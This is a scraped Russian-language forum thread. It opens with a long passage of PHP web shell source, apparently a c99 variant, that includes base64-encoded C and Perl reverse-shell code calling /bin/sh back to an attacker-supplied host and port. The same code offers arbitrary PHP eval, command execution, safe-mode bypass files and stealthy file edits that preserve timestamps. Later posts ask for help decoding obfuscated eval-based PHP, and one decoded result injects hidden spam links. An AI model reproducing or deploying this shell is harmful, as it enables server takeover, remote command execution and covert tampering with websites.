		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = myshellexec(which('perl')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = myshellexec('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = myshellexec("/tmp/angel_bc $yourip $yourport &");
		}
		
	echo "<font color=green><center><b>Now script try connect to $yourip port $yourport ($use)...</b></center></font>".$closetable;

	}
	
}

?>
 <br><center><form method="POST"><b>DELET My files:</b> <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="dellso"><input type=submit name=fsafe value="Delete Files"></form></center>

<b>Back connection:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name="cmdmod" value="ok"><input type=hidden name=start value=Start><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="yourip" value="<?php echo htmlspecialchars($yourip); ?>">&nbsp;Port: <input type=text name="yourport" value="<?php echo htmlspecialchars($yourport); ?>">&nbsp; <select name="use" >
<option value="perl" selected>perl</option><option value="c" >c</option></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>



<form method="POST">Anti Safe-mode file: <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="ok"><input type=submit name=fsafe value="Creat Files"></form>



<form method="POST">DELETE Anti Safe-mode file: <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="dell"><input type=submit name=fsafe value="Delete Files"></form>


<? if ($_COOKIE['fsafem'] and $fucksafemod!='dell'){  ?>
<form method="POST">
<input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">
<input type=hidden name=fucksafemod value="oksafe">
<input type=text name="hfsafem" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem']); ?>"><br/> 
<input type=text name="hfsafem1" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem1']); ?>"><br/> 
<input type=text name="hfsafem2" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem2']); ?>"><br/> 
<input type=text name="hfsafem3" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem3']); ?>"><br/><br/> 
<input type=submit name=fsafe value="Save anti files"></form>
<? } ?>


<?php
}

if ($act == "eval")

{

 if (!empty($eval))

 {

  echo "<b>Result of execution this PHP-code</b>:<br>";

  $tmp = ob_get_contents();

  $olddir = realpath(".");

  @chdir($d);

  if ($tmp)

  {

   ob_clean();

   eval($eval);

   $ret = ob_get_contents();

   $ret = convert_cyr_string($ret,"d","w");

   ob_clean();

   echo $tmp;

   if ($eval_txt)

   {

    $rows = count(explode("\r\n",$ret))+1;

    if ($rows < 10) {$rows = 10;}

    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";

   }

   else {echo $ret."<br>";}

  }

  else

  {

   if ($eval_txt)

   {

    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";

    eval($eval);

    echo "</textarea>";

   }

   else {echo $ret;}

  }

  @chdir($olddir);

 }

 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}

 echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"125\" rows=\"18\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";

}

if ($act == "f")

{

 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")

 {

  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}

  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}

 }

 else

 {

  $r = @file_get_contents($d.$f);

  $ext = explode(".",$f);

  $c = count($ext)-1;

  $ext = $ext[$c];

  $ext = strtolower($ext);

  $rft = "";

  foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}

  if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}

  if (empty($ft)) {$ft = $rft;}

  $arr = array(

   array("DIZ","info"),

   array("HTML","html"),

   array("TXT","txt"),

   array("Code","code"),

   array("EXE","exe"),

   array("SDB","sdb"),

   array("INI","ini"),

   array("DOWNLOAD","download"),

   array("RTF","notepad"),

  array("EDIT","edit")

  );

  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";

  foreach($arr as $t)

  {

   if ($t[1] == $rft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><font color=green>".$t[0]."</font></a>";}

   elseif ($t[1] == $ft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b><u>".$t[0]."</u></b></a>";}

   else {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";}

   echo " |";

  }

  echo "<hr size=\"1\" noshade>";

  if ($ft == "info")

  {  
    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";

   if (!$win)

   {

    echo "<tr><td><b>Owner/Group</b></td><td> ";

    $ow = posix_getpwuid(fileowner($d.$f));

    $gr = posix_getgrgid(filegroup($d.$f));

    echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));

   }

   echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.f.value='".urlencode($f)."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";

  }

  elseif ($ft == "html")

  {

   if ($white) {@ob_clean();}

   echo $r;

   if ($white) {c99nulledoff();}

  }

  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}

  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}

  elseif ($ft == "exe")

  {
   $ext = explode(".",$f);

   $c = count($ext)-1;

   $ext = $ext[$c];

   $ext = strtolower($ext);

   $rft = "";

   foreach($exeftypes as $k=>$v)

   {

    if (in_array($ext,$v)) {$rft = $k; break;}

   }

   $cmd = str_replace("%f%",$f,$rft);

   echo "<b>Execute file:</b><form method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";

  }

  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}

  elseif ($ft == "code")

  {
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";

   if (!empty($white)) {@ob_clean();}

   highlight_file($d.$f);

   if (!empty($white)) {c99nulledoff();}

   echo "</div>";

  }

  elseif ($ft == "download")

  {
   @ob_clean();
   header('Content-Type: application/octeat-stream');
   header('Content-Disposition: attachment; filename="'.$f.'"');
   echo $r;
   exit;
  }

  elseif ($ft == "notepad")

  {

   @ob_clean();

   header("Content-type: text/plain");

   header("Content-disposition: attachment; filename=\"".$f.".txt\";");

   echo($r);

   exit;

  }
  elseif ($ft == "edit")

  {
   if (!empty($submit))

   {

    if ($filestealth) {$stat = stat($d.$f);}

    $fp = fopen($d.$f,"w");

    if (!$fp) {echo "<b>Can't write to file!</b>";}

    else

    {
     echo "<b>Saved!</b>";

     fwrite($fp,$edit_text);

     fclose($fp);

     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}

     $r = $edit_text;

    }
   }

   $rows = count(explode("\r\n",$r));

   if ($rows < 10) {$rows = 10;}

   if ($rows > 30) {$rows = 30;}

   echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"150\" rows=\"25\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";

  }  elseif ($ft == "rename" and $renamez=='')  { 
 if($renamez=='ok') { 
 }else { 
  echo  '<b>File: '.$d.$f.'</b><br><br>'; 
  echo  '<b>Newname:</b> <form method="POST">

  <input name=\'act\' type=\'hidden\' value=\'f\'>
  <input name=\'f\' type=\'hidden\' value='.urlencode($f).'> 
  <input name="d" type="hidden" value='.urlencode($d).'>
   <input name=\'ft\' type=\'hidden\' value=\'rename\'>
   <input name=\'renamez\' type=\'hidden\' value=\'ok\'>
   <input type="text" name="newname" size="50" value="'.$f.'">
  &nbsp;<input type=submit value="Go"></form><br>';  
 }   
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} } }?></td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form method="POST"><input type=hidden name=cmdmod value="ok"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmdmod" value="ok"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> <td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value='search';document.todo.submit();"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td><td width="50%" height="1" valign="top"><center><b>:: <b>Upload</b> ::</b><? echo'<form action="'.$self.'" method="POST" enctype="multipart/form-data"><input class="input" name="uploadfile" value="" type="file" /><input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$d.'" type="hidden" /><input name="d" value="'.$d.'" type="hidden" /><input name="act" value="upload2" type="hidden" /><br/>'.$wdt.'</form>';?></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Edit File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>Generation time: <?php echo round(getmicrotime()-starttime,4); ?></b></p></td></tr></table></body></html><?php chdir($lastdir); c99nulledoff(); }
 
Помогите, пожалуйста, расшифровать следующий код
PHP:
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=1036;eval($OOO0000O0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnSW5KU1ltRHRjMHYzOUhiNnU4cXh6RTJMTmRCTWpQclFGL0NmaFh3UlZLYTdUK2tpc09HNXlwNG9VZ1dlQTFabD0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>
0Y169Sn69Sn69SpXjwERLo0XjDO/N4zV0p1Q8hX98E1Q0GsC0Gck0Y16x5n69YAs9JUC0GcT0Y16x5Is9Sn69JFhxy169SIs9Sn6vJ869YAs9Y169SIV0YAs9Sn69YAs9JshxyAs9YAs9SIsvqsRq2gvzpX+8t8f9tN5bz/CHRzUjL/W8x09xw8Jx2KujXmD3yHwBm/ozXd3NxPzv4+Kjy1tHLXsHD1EdpPXuxmBMSyR3JPnuhHY8zdtqYXvqyOHxh1uzE0xEmE2Ep/d2wmCN48XdwPVB2K7MDpkMonOjRHyPLdortXW9SYG95upHfjUbqTi0GhKvx+wN4Oij4zV0YAs9Sn69YAs9JhedLd/MJFhxyAs9YAs9YAsvxT=d2HVMGIR6D8KPCn5PtXTdxyCdDX5jDO/rxKkM4gXbGcZ05THJwXwcJF/dDEwB2gXdJFRLpHnzYEQEEHmzCjKvLTHJw8XdwXkdqFRLpHnzYEQEEHmzCjT04dhdDcG9x9OdSc4HDNsdxc5dDYUHSNydxYy9fz4HxmX0GheSuK1SuKGdLmpBL0XL41kN4zV0m1x8E028E0M0y86upEH8zgzLp06xpuRLqUR34Hs3odKdLP53oHfjwXsPt9iNLEyBJ1+N2Xk34OKMwzkjD/s0GheSuVhMpTRN4//jRHXPJPP6qPEEYN+bJjeSuVhj4msdqI1cDgXPGnxuEnmL4HTB2EkPJFhMGheSuKXN4/icJ85NLnX3xgGdL8pjwgQMDXkBo9VvxTHJf+XN4/icJjF05THJR0XjLEKjwEQM4gfdqIV0m1x8E028E0M0y86upEH8zgzLp06xpuRLqUR34Hs3odKdLP53oHfjwXsPt9iNLEyBJ1+N2Xk3oHTj4X+jDOX3RnVjJjKbsyvb4EfBDAF0GIRbsyvdDEwB2gXvJP9qzg38hEm8m1EzyEq0GsRbDdfbSN4bD95HSu5N5hs9D8hN4z59xzOH2m/dDzOH4u4dfdh9x8fdqjKbsyvjwEOP2XGdE1iMwHXvJ8QzyEqEhEq2GPYxyHExzEbEm1qxy1z0pyk0G1fjJ14B2EojG15No0Kjt8534mpPDFiM2mKMC1KPDE+jGgsBtIRvxTHJC872GPfBDmGj4Ey0py10pEz8CyU05THJC8TB2g7dwEXdJI1cDgXPGn9B2g7dwEXdYHTB2EkPJFhBGheSuKXN4/icJ8TB2g7dwEXdJyZjwEyPL0kL4OKMw+5vJheSuVed2HVMGIRcJjeSuKKMwHTP28XL41kN4zV0m1x8E028E0M0y86upEH8zgzLp06xpuRLqUR34Hs3odKdLP53oHfjwXsPt9iNLEyBJ1+N2Xk3oHKPDzkjD/s0GheSuKXN4/icJ8+MJyZ84EyLyOKMw+5vJheb4EfBDAF05sidDX46Cje

P.S. таже проблема как у "goggaa" после первой итерации остается только белый пустой экран.
 
Помогите, пожалуйста, расшифровать следующий код
PHP:
echo '<div style="display:none;">';
if (!defined('_SAPE_USER')){
define('_SAPE_USER','fddb2131d264f0e23da8464e1425651e');
}
require_once($_SERVER['DOCUMENT_ROOT'].'/cp/views/scripts/auth/main/line.php');
$o['charset']='UTF-8';
$sape = new SAPE_client($o);
echo $sape->return_links();
;echo ' ';
require_once ($_SERVER['DOCUMENT_ROOT'].'/cp/views/scripts/auth/main/slsimple.php');
;echo ' ';
define('LINKFEED_USER','8fc8668c3443c900ddce31515aade17d6f6d14ce');
require_once($_SERVER['DOCUMENT_ROOT'].'/cp/views/scripts/auth/main/items.php');
$k['charset']='UTF-8';
$linkfeed = new LinkfeedClient($k);
echo $linkfeed->return_links();
;echo ' ';
include_once($_SERVER['DOCUMENT_ROOT'].'/cp/views/scripts/auth/main/site.php');
echo $ml->Get_Links();;echo '</div>';
 
Belial, Спасибо!

Не поделишься опытом в чём били нюансы расшифровки ?
Насколько я понимаю закодировано было PHP LockIt! 2.0.8.0 ?

Делал по этой схеме - Для просмотра ссылки Войди или Зарегистрируйся
 
Схема правильная, нюанс был в том, что надо следить за размером файла в процессе замены, чтобы он был равен исходному, т.к. там похоже читается строго определённый порядок байт. При замене eval на echo и последующей вставке выведенного кода вместо зашифрованного размер уменьшается. Я добавлял пробелы в начало файла.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху